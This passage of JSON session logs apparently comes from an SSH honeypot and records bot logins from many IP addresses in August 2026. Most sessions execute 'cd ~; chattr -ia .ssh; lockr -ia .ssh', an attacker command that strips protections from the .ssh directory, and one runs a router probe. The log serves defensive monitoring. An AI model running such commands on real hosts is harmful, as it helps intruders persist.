"4a478ab2-ed8f-4c13-9f2a-e0e09322a336", "name": "amber-glacial-bushbaby", "protocol": "ssh", "channel_kind": "exec", "src_ip": "165.154.12.137", "src_port": 57736, "username": "fedora", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 591, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T09:53:36.137746+00:00", "ended_at": "2026-08-26T09:53:36.915615+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2092 }, { "id": "7ca21b8b-9d41-42f8-8fab-2e4edfa8f393", "name": "sincere-kindly-wombat", "protocol": "ssh", "channel_kind": "exec", "src_ip": "165.154.12.137", "src_port": 37646, "username": "student8", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 589, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T09:49:12.918639+00:00", "ended_at": "2026-08-26T09:49:13.578868+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2081 }, { "id": "6919b2d7-cef4-46de-b8eb-173179143281", "name": "forlorn-fabled-camel", "protocol": "ssh", "channel_kind": "exec", "src_ip": "165.154.12.137", "src_port": 56138, "username": "abcdefg", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 595, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T09:40:26.712522+00:00", "ended_at": "2026-08-26T09:40:27.439970+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2069 }, { "id": "f342cf91-46b6-4663-a6cd-92403fbcd750", "name": "amiable-silent-bowerbird", "protocol": "ssh", "channel_kind": "exec", "src_ip": "165.154.12.137", "src_port": 58350, "username": "cpg", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 589, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T09:31:43.457741+00:00", "ended_at": "2026-08-26T09:31:44.119534+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2046 }, { "id": "7c1f6698-5755-41d9-a772-0cda63287b4a", "name": "creaky-diligent-stonechat", "protocol": "ssh", "channel_kind": "exec", "src_ip": "165.154.12.137", "src_port": 59822, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 591, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T09:18:23.297909+00:00", "ended_at": "2026-08-26T09:18:24.030659+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2095 }, { "id": "2c73c92c-5551-4298-ac49-9b219f33e5f9", "name": "polar-leafy-parakeet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "171.25.158.74", "src_port": 33096, "username": "crafty", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 360, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T06:44:45.650054+00:00", "ended_at": "2026-08-26T06:44:46.349201+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2038 }, { "id": "937901bb-22db-4bdc-8429-a9c8dbb4dd58", "name": "civil-drifting-teal", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.144.28.166", "src_port": 57790, "username": "rustserver", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 676, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T06:44:12.693862+00:00", "ended_at": "2026-08-26T06:44:13.399402+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2044 }, { "id": "74526c11-02f0-421e-bc64-60a9b9ce3ee7", "name": "gilded-glacial-wombat", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.143.238.100", "src_port": 53956, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 257, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T05:47:19.457008+00:00", "ended_at": "2026-08-26T05:47:19.533615+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3807 }, { "id": "c0f1f91f-14eb-443c-927e-66e77cd79df1", "name": "golden-genial-skink", "protocol": "ssh", "channel_kind": "exec", "src_ip": "165.154.224.160", "src_port": 56948, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 648, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T05:01:27.203810+00:00", "ended_at": "2026-08-26T05:01:27.406284+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3963 }, { "id": "c72c6066-3a0b-45ff-9582-797fa577a4e0", "name": "creaky-candid-goshawk", "protocol": "ssh", "channel_kind": "exec", "src_ip": "172.190.51.254", "src_port": 54534, "username": "mysql", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 80, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-25T23:54:45.005639+00:00", "ended_at": "2026-08-25T23:54:45.156423+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3266 }, { "id": "4f297c43-5549-4b8b-91b0-0e20a94077d3", "name": "courtly-silent-reindeer", "protocol": "ssh", "channel_kind": "exec", "src_ip": "66.116.242.235", "src_port": 53858, "username": "ftpsecure", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 645, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-25T23:02:36.705855+00:00", "ended_at": "2026-08-25T23:02:36.911752+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3443 }, { "id": "02d24a53-b8a1-475b-9430-57bff8df9935", "name": "dapper-umber-bullfinch", "protocol": "ssh", "channel_kind": "exec", "src_ip": "107.150.103.210", "src_port": 26246, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 250, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-25T21:16:25.635410+00:00", "ended_at": "2026-08-25T21:16:25.703055+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3446 }, { "id": "e7a6b43a-b63c-43b3-8917-d473018c1a10", "name": "coastal-wooded-francolin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "221.163.5.228", "src_port": 38312, "username": "prova", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 639, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-25T21:16:09.535535+00:00", "ended_at": "2026-08-25T21:16:09.734162+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3496 }, { "id": "226ca8b8-8952-4e81-9e49-94cbe42a94be", "name": "leafy-curious-avocet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "179.176.210.17", "src_port": 45675, "username": "andrew", "client_version": "SSH-2.0-libssh_0.11.1", "auth_attempts": 1, "automation": "bot", "think_ms": 438, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-25T21:14:31.390603+00:00", "ended_at": "2026-08-25T21:14:31.522244+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3935 }, { "id": "bd34f6e4-d94b-47d5-accb-f6619a1343f5", "name": "jovial-velvet-pochard", "protocol": "ssh", "channel_kind": "exec", "src_ip": "172.191.239.155", "src_port": 40632, "username": "noah", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 71, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-25T20:08:25.924409+00:00", "ended_at": "2026-08-25T20:08:25.932797+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3738 }, { "id": "2c335481-a1b3-429d-bf9a-2c21692a5999", "name": "graceful-meadow-peccary", "protocol": "ssh", "channel_kind": "exec", "src_ip": "172.191.239.155", "src_port": 35724, "username": "kevin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 70, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-25T20:05:53.837677+00:00", "ended_at": "2026-08-25T20:05:54.477751+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2311 }, { "id": "97698eff-26fd-483a-afc7-fc2c4f06b0dc", "name": "ancient-tranquil-addax", "protocol": "ssh", "channel_kind": "exec", "src_ip": "185.158.22.150", "src_port": 32670, "username": "mega", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 518, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-25T20:00:52.318042+00:00", "ended_at": "2026-08-25T20:00:52.476609+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3539 }, { "id": "5ab389f2-2ab3-4d81-b9ca-0b4d742dd8ff", "name": "lunar-orderly-cicada", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.174.238.116", "src_port": 48254, "username": "noah", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 368, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-25T20:00:06.348189+00:00", "ended_at": "2026-08-25T20:00:06.453476+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3214 }, { "id": "363f34e1-fc48-42df-a921-01e431b5c77e", "name": "wandering-coastal-squirrel", "protocol": "ssh", "channel_kind": "exec", "src_ip": "124.156.173.135", "src_port": 51870, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 673, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-25T19:55:06.836657+00:00", "ended_at": "2026-08-25T19:55:07.041931+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3981 }, { "id": "8cb965bd-ccac-4fcb-a146-078a680bfd99", "name": "emerald-austere-turnstone", "protocol": "ssh", "channel_kind": "exec", "src_ip": "172.190.51.254", "src_port": 45350, "username": "ubuntu", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 100, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-25T19:52:48.798094+00:00", "ended_at": "2026-08-25T19:52:48.815144+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3356 }, { "id": "0835e1bc-6be9-4a80-bbc9-f610932e6744", "name": "lunar-vernal-magpie", "protocol": "ssh", "channel_kind": "exec", "src_ip": "43.128.3.201", "src_port": 53096, "username": "test1", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 672, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-25T18:49:44.037854+00:00", "ended_at": "2026-08-25T18:49:44.247737+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3452 }, { "id": "02a89e4b-0910-4990-96c9-bce5bab983df", "name": "restless-vigilant-skua", "protocol": "ssh", "channel_kind": "exec", "src_ip": "216.10.242.215", "src_port": 49222, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 618, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-25T12:51:28.687254+00:00", "ended_at": "2026-08-25T12:51:28.877929+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3437 }, { "id": "e94bbb20-9ab1-4579-83a3-b31d8d25d26c", "name": "snowy-prickly-moorhen", "protocol": "ssh", "channel_kind": "exec", "src_ip": "185.158.22.150", "src_port": 51641, "username": "eric", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 515, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-25T12:00:45.324526+00:00", "ended_at": "2026-08-25T12:00:45.482622+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3891 }, { "id": "0edee1f6-c125-4bb5-8dfd-c1b37a4fc167", "name": "leafy-keen-kingfisher", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.12.221.15", "src_port": 46600, "username": "admin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 320, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-25T11:09:45.835620+00:00", "ended_at": "2026-08-25T11:09:45.928858+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3739 }, { "id": "651ec677-83a6-4d7f-b33e-6e77280c89dc", "name": "scarlet-candid-reindeer", "protocol": "ssh", "channel_kind": "exec", "src_ip": "20.102.98.53", "src_port": 38006, "username": "es1", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 65, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-25T09:51:04.655389+00:00", "ended_at": "2026-08-25T09:51:04.662733+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3254 }, { "id": "1ec638cc-b33e-4be7-8f52-047ca1789644", "name": "painted-idle-kestrel", "protocol": "ssh", "channel_kind": "exec", "src_ip": "76.79.213.70", "src_port": 51068, "username": "erpnext", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 371, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-25T08:53:26.661515+00:00", "ended_at": "2026-08-25T08:53:26.784419+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 4161 }, { "id": "ee9d9728-bdcb-4943-b9e5-368e21f93454", "name": "whispering-hazy-blackbird", "protocol": "ssh", "channel_kind": "exec", "src_ip": "98.70.50.166", "src_port": 41214, "username": "ftpuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 591, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-25T08:52:46.484465+00:00", "ended_at": "2026-08-25T08:52:46.663187+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3815 }, { "id": "c9ca2c84-e599-4dfd-b40a-92acfaa16497", "name": "stormy-pewter-otter", "protocol": "ssh", "channel_kind": "exec", "src_ip": "195.178.191.5", "src_port": 46574, "username": "redmine", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 381, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-25T03:04:54.158569+00:00", "ended_at": "2026-08-25T03:04:54.269691+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3561 }, { "id": "56ac9eba-c117-47de-ab3b-d2c92c7c4d38", "name": "meadow-jaunty-wigeon", "protocol": "ssh", "channel_kind": "exec", "src_ip": "119.209.12.20", "src_port": 60480, "username": "ubuntu", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 643, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-25T00:51:43.073455+00:00", "ended_at": "2026-08-25T00:51:43.274634+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3508 }, { "id": "e43cf21d-da59-4fb6-a40a-f989fe0b0c5d", "name": "fleeting-marbled-wigeon", "protocol": "ssh", "channel_kind": "exec", "src_ip": "113.161.222.150", "src_port": 39120, "username": "frontend", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 771, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-24T23:29:11.643837+00:00", "ended_at": "2026-08-24T23:29:11.885751+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 6651 }, { "id": "720af6ad-98e8-4b27-a642-3b871d4b908a", "name": "dapper-clever-hummingbird", "protocol": "ssh", "channel_kind": "exec", "src_ip": "43.165.190.208", "src_port": 34868, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 558, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-24T22:07:11.630448+00:00", "ended_at": "2026-08-24T22:07:11.802058+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 6826 }, { "id": "33711d99-bb98-4dec-8455-b964f5c6c109", "name": "ashen-languid-capuchin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "43.153.205.159", "src_port": 39638, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 782, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-24T22:04:42.105280+00:00", "ended_at": "2026-08-24T22:04:42.350865+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3989 }, { "id": "f6f3ca3f-8bb8-4346-9617-014935b9dd74", "name": "burly-patient-vicuna", "protocol": "ssh", "channel_kind": "exec", "src_ip": "141.95.54.130", "src_port": 59206, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 308, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-24T21:25:17.339639+00:00", "ended_at": "2026-08-24T21:25:17.428604+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 4003 }, { "id": "3f4555b7-f2b2-4f80-be0f-522dc8d48d29", "name": "daring-plush-pangolin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "150.136.214.177", "src_port": 31390, "username": "feria", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 63, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-24T20:05:26.773233+00:00", "ended_at": "2026-08-24T20:05:26.779502+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3343 }, { "id": "46ec8e9e-9279-4a6b-b5ea-d2df6efaa50b", "name": "windswept-downy-tanager", "protocol": "ssh", "channel_kind": "exec", "src_ip": "121.184.144.232", "src_port": 55395, "username": "user", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 613, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-24T19:36:55.316711+00:00", "ended_at": "2026-08-24T19:36:55.506740+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3955 }, { "id": "888b5309-3f8d-4125-8ea4-144dfaf1130b", "name": "lunar-gritty-narwhal", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.35.110.147", "src_port": 34518, "username": "accounting", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 417, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-24T19:09:01.642120+00:00", "ended_at": "2026-08-24T19:09:01.768877+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 4304 }, { "id": "67d5f6ce-be29-48d2-a412-7fdabda56506", "name": "solemn-leafy-springbok", "protocol": "ssh", "channel_kind": "exec", "src_ip": "87.106.29.151", "src_port": 41442, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 320, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-24T19:09:01.160303+00:00", "ended_at": "2026-08-24T19:09:01.247837+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 4113 }, { "id": "eef8ef1f-b5a0-4b1f-87e9-bc3ed4e4ceed", "name": "cobalt-quartz-nightjar", "protocol": "ssh", "channel_kind": "exec", "src_ip": "65.181.71.117", "src_port": 58331, "username": "admin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 688, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-24T18:23:59.758849+00:00", "ended_at": "2026-08-24T18:23:59.971970+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3226 }, { "id": "bc359e45-55ba-409e-93c6-17db2ba5c4c0", "name": "shaded-hazy-vervet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.12.221.15", "src_port": 41514, "username": "user14", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 311, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-24T16:31:38.860509+00:00", "ended_at": "2026-08-24T16:31:38.948523+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3259 }, { "id": "1eb2e852-b7ac-4cfc-825c-6620400edb12", "name": "dewy-nautical-civet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "168.119.48.179", "src_port": 55760, "username": "jarservice", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 316, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-24T16:28:31.114422+00:00", "ended_at": "2026-08-24T16:28:31.203018+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3462 }, { "id": "3c7678b6-8be4-4003-89a0-62a96e45e99f", "name": "pewter-lucid-snipe", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.164.57.37", "src_port": 55784, "username": "crafty", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 713, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-24T16:21:45.170200+00:00", "ended_at": "2026-08-24T16:21:45.395008+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3248 }, { "id": "9d4398f6-f222-494b-82b2-c8c166368299", "name": "inland-quaint-mink", "protocol": "ssh", "channel_kind": "exec", "src_ip": "178.175.167.68", "src_port": 44402, "username": "root", "client_version": "SSH-2.0-libssh2_1.11.1", "auth_attempts": 2, "automation": "bot", "think_ms": 391, "probe_flagged": 0, "exec_command": "/ip cloud print", "started_at": "2026-08-24T09:47:15.632476+00:00", "ended_at": "2026-08-24T09:48:00.990751+00:00", "ended_reason": "exec complete", "commands": 9, "transcript_bytes": 4856 }, { "id": "aa74805b-6b62-42e2-a195-3c816bfca5c4", "name": "brisk-vivid-merlin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "60.199.224.2", "src_port": 51136, "username": "senthil", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 643, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-24T05:18:05.457080+00:00", "ended_at": "2026-08-24T05:18:05.656938+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3458 }, { "id": "ff4b92c2-cab9-4837-b1f0-be48191f942b", "name": "granite-wandering-skylark", "protocol": "ssh", "channel_kind": "exec", "src_ip": "5.3.154.197", "src_port": 33954, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 409, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-24T04:39:09.822503+00:00", "ended_at": "2026-08-24T04:39:09.946537+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3490 }, { "id": "139edc25-ff78-447f-ad87-3aa1c14591d2", "name": "alpine-verdant-linnet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "223.17.1.118", "src_port": 47578, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 692, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-24T03:17:41.660805+00:00", "ended_at": "2026-08-24T03:17:41.876558+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 6575 }, { "id": "4de63a5d-4df9-4aff-bcb2-ce12dde2b67a", "name": "bashful-crimson-penguin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "190.60.43.27", "src_port": 53456, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 285, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-24T00:59:17.188346+00:00", "ended_at": "2026-08-24T00:59:17.266471+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3445 }, { "id": "ab1b937d-a056-4f39-9c0c-f216b9b615b6", "name": "nameless-murky-dormouse", "protocol": "ssh", "channel_kind": "exec", "src_ip": "163.7.3.26", "src_port": 58822, "username": "root", "client_version": "SSH-2.0-libssh_0.12.0", "auth_attempts": 1, "automation": "bot", "think_ms": 763, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-23T21:19:15.453482+00:00", "ended_at": "2026-08-23T21:19:15.691786+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3571 }, { "id": "ca7cba1b-8799-4b4f-89e4-bcc854927458", "name": "brazen-creaky-shelduck", "protocol": "ssh", "channel_kind": "exec", "src_ip": "92.205.57.72", "src_port": 58506, "username": "ydy", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 326, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-23T20:59:27.183189+00:00", "ended_at": "2026-08-23T20:59:27.276499+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3598 }, { "id": "4f9ee073-1488-4111-9cbb-38e0d5efc383", "name": "gentle-vigilant-bowerbird", "protocol": "ssh", "channel_kind": "exec", "src_ip": "135.125.206.205", "src_port": 39924, "username": "m1", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 306, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-23T20:57:33.351409+00:00", "ended_at": "2026-08-23T20:57:33.437313+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 4163 }, { "id": "c986bc7c-a71c-45d6-a6b2-7f701a5e2d8a", "name": "obsidian-brazen-dotterel", "protocol": "ssh", "channel_kind": "exec", "src_ip": "182.93.50.90", "src_port": 51184, "username": "hunter", "client_version": "SSH-2.0-libssh_0.11.1", "auth_attempts": 1, "automation": "bot", "think_ms": 663, "probe_flagged": 1, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-23T19:46:32.384549+00:00", "ended_at": "2026-08-23T19:46:32.585281+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 4587 }, { "id": "35cfb8eb-0bf7-4f3c-8e82-7bc92dacb0f0", "name": "steady-cheerful-ibis", "protocol": "ssh", "channel_kind": "exec", "src_ip": "87.106.63.76", "src_port": 35932, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 273, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-23T19:03:55.913807+00:00", "ended_at": "2026-08-23T19:03:55.985138+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3961 }, { "id": "545cffd7-03e3-4536-b36a-0ee8088e6f97", "name": "forlorn-foggy-cheetah", "protocol": "ssh", "channel_kind": "exec", "src_ip": "103.216.145.2", "src_port": 49688, "username": "john", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 618, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-23T18:39:50.081206+00:00", "ended_at": "2026-08-23T18:39:50.275426+00:00", "ended_reason": "exec complete", "commands": 27, "transcript_bytes": 3384 }, { "id": "992d97c7-77cd-4152-bd8f-bf9b52fc8828", "name": "frosty-grumpy-jackal", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.145.0.61", "src_port": 51740, "username": "virt", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": 